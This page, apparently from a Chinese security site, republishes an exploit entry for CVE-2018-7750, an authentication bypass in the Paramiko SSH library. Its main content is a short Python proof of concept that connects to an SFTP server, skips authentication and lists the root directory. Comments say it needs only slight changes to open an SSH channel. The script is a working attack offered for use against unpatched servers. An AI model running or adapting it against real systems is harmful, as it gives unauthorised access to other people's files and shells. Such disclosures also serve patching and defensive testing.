首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Paramiko 2.4.1 - Authentication Bypass
来源:vfocus.net 作者:Brown 发布时间:2018-10-30  
# Exploit Title: Paramiko 2.4.1 - Authentication Bypass
# Date: 2018-10-27
# Exploit Author: Adam Brown
# Vendor Homepage: https://www.paramiko.org
# Software Link: https://github.com/paramiko/paramiko/tree/v1.15.2
# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1
# Tested on: Multiple
# CVE : CVE-2018-7750
 
# This PoC is based on discussions found at the following github issue:
# https://github.com/paramiko/paramiko/issues/1175
# TLDR, Paramiko doesn't check if the client has completed the authentication step
# before allowing the client to open channels. The PoC below connects to an SFTP
# server, and lists the root directory without authenticating. Slight modification
# is required if you want to open an SSH channel.
 
#!/usr/bin/python
import paramiko
 
host = '127.0.0.1'
port = 22
 
trans = paramiko.Transport((host, port))
trans.start_client()
 
# If the call below is skipped, no username or password is required.
# trans.auth_password('username', 'password')
 
sftp = paramiko.SFTPClient.from_transport(trans)
print(sftp.listdir('/'))
sftp.close()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Local Server 1.0.9 - Denial of
·Modbus Slave 7.0.0 - Denial of
·Modbus Slave PLC 7 - '.msw' Bu
·Microsoft Windows 10 User Sess
·AlienIP 2.41 - Denial of Servi
·R 3.4.4 (Windows 10 x64) - Buf
·Navicat 12.0.29 - 'SSH' Denial
·xorg-x11-server 1.20.3 - Privi
·Linux mremap() TLB Flush Too L
·Any Sound Recorder 2.93 - Buff
·WordPress Arforms 3.5.1 Arbitr
·ZyXEL VMG3312-B10B < 1.00(AAPP
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved